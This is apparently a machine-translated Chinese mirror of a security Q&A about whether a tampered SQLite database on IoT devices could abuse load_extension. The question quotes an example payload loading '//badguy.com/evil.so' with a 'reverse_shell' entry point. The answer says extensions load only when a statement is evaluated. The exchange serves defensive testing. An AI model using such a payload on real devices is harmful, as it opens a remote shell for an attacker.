创建恶意 SQLite 数据库以导入物联网设备

问题描述 投票:0回答:1

我正在对一些物联网设备进行一些安全研究,其中一些设备允许攻击者仅在现有文件上复制 sqlite 数据库文件,然后重新启动,然后使用攻击者的数据库。这对我来说似乎是个坏主意。

据我了解,类似于 INSERT INTO

test
VALUES (load_extension("//badguy.com/evil.so", "reverse_shell"));会导致外部库执行(如果启用了 load_extensions,某些 IoT 设备就是这种情况)

不确定此风险是否仅在他们实际上可以通过运行时 SQL 注入来做到这一点时才有效,或者是否也可以通过添加到导入的数据库模式来完成。

攻击者可以利用后者,尽管我用这种模式创建测试数据库的糟糕尝试失败了,因为添加它的 SQL 只是尝试运行有效负载(在我的测试电脑上),而不是更改敌对数据库用于进口测试。

十六进制编辑测试数据库只会因校验和等而导致错误。

可能只有 SQL 注入才是有风险的 - 在这种情况下我可以继续进行下一个测试领域。

尝试了 sqlite 命令 shell 和 Windows GUI 来使测试数据库包含 INSERT INTO

test
VALUES (load_extension("//badguy.com/evil.so", "reverse_shell"));但他们只是执行有效负载而不更改数据库。

如果攻击者可以将自己的数据库复制到设备上,是否存在滥用 load_extension 的风险?如果是这样,我该如何测试?

sqlite security
1个回答
0
投票
Reddit 上的 elperroborrachotoo 为我回答了这个问题:

不确定此风险是否仅在他们实际上可以通过运行时 SQL 注入来做到这一点时才有效,或者是否也可以通过添加到导入的数据库值来完成。

只有前者,在评估语句时会调用load_extension。不会对数据库内容进行评估。1

SQLite 文件格式已记录,因此在编辑数据库时,您还可以更新相应的校验和。

但他们只是执行有效负载而不更改数据库。

您使用的语句将插入调用load_extension的结果;它可能会被拒绝,因为它没有。

    除非有bug
© www.soinside.com 2019 - 2024. All rights reserved.